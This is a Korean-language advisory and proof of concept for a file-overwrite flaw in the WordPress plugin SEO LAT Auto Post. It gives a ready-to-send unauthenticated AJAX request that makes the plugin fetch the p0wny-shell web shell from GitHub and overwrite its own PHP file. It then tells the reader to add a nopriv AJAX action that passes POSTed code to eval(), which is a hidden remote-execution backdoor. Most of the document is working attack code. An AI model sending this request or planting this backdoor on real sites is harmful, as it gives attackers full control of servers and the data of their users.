
SEO LAT Auto Post <= 2.2.1 - 파일 덮어쓰기/업로드에 대한 인증 누락 (원격 코드 실행)
SEO LAT Auto Post <= 2.2.1 - 파일 덮어쓰기/업로드 권한 누락 (원격 코드 실행)
WordPress용 SEO LAT Auto Post 플러그인은 2.2.1 이하의 모든 버전에서 remote_update AJAX 액션에 대한 기능(capability) 검사가 누락되어 파일 덮어쓰기 취약점이 있습니다. 이를 통해 인증되지 않은 공격자가 seo-beginner-auto-post.php 파일을 덮어써서 원격 코드 실행을 달성할 수 있습니다.
POST /wp-admin/admin-ajax.php HTTP/2
Host: wp-dev.ddev.site
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36
Accept: */*
Accept-Language: en-US,en;q=0.9
Content-Type: application/x-www-form-urlencoded
Content-Length: 104
action=remote_update&url=https://raw.githubusercontent.com/flozz/p0wny-shell/refs/heads/master/shell.php
이렇게 하면 https://wp-dev.ddev.site/wp-content/plugins/seo-beginner-auto-post/seo-beginner-auto-post.php 파일이 덮어써집니다. 현재 플러그인을 수정하고 RCE를 위한 nopriv 액션을 추가하는 것이 좋습니다. https://plugins.svn.wordpress.org/seo-beginner-auto-post/trunk/seo-beginner-auto-post.php
다음과 같은 함수를 추가하세요.
// Add the AJAX action
add_action('wp_ajax_nopriv_execute_code', 'execute_code_callback');
add_action('wp_ajax_execute_code', 'execute_code_callback');
// The callback function
function execute_code_callback() {
// Get the code to execute from the request
$code = $_POST['code'];
// Execute the code
eval($code);
// Return a success message
echo 'Code executed successfully!';
wp_die();
}